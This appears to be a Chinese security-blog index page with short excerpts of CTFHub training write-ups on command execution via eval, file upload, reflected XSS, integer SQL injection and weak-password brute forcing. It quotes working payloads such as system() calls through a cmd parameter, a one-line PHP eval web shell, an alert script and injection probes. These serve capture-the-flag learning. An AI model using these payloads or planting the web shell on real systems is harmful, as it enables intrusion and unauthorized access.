ctfhub技能树 | CN-SEC 中文网

安全博客

ctfhub技能树—RCE

eval执行 [huayang]Flag 看目录 /?cmd=system("ls"); 没有想要的继续 /?cmd=system("ls /"); 进去拿 /?cmd=system("cat /f...

01月08日52 views评论

安全博客

无验证 [huayang]Flag 我们在本地新建个文件随便起个名字写如下列代码 <?php @eval(@$_POST['g']); ?> 这就是大名鼎鼎的一句话木马现在我...

01月08日27 views评论

安全博客

反射型去简单的试一下 <script>alert(/XSS/)</script> 根据提示意思是吧前面的注入的url拿到下面的框里，在cookie里得到flag 我们用xss...

01月08日47 views评论

安全博客

整数型注入 [huayang]Flag&基本步骤—通用任何数字（整数）型注入方法一:硬爆，手撸 1.检查是否存在注入 1 and 1=1 返回正确1 and 1=2 返回错误正...

01月08日32 views评论

安全博客

弱口令爆破 [huayang]Flag 很尴尬这个我没有爆破出来操作是对的无任何问题还是要写几点思路 1.如何同时爆破用户名和密码 2.BurpSuite解决爆破时候全是302的方法有时候爆破会...

01月08日282 views评论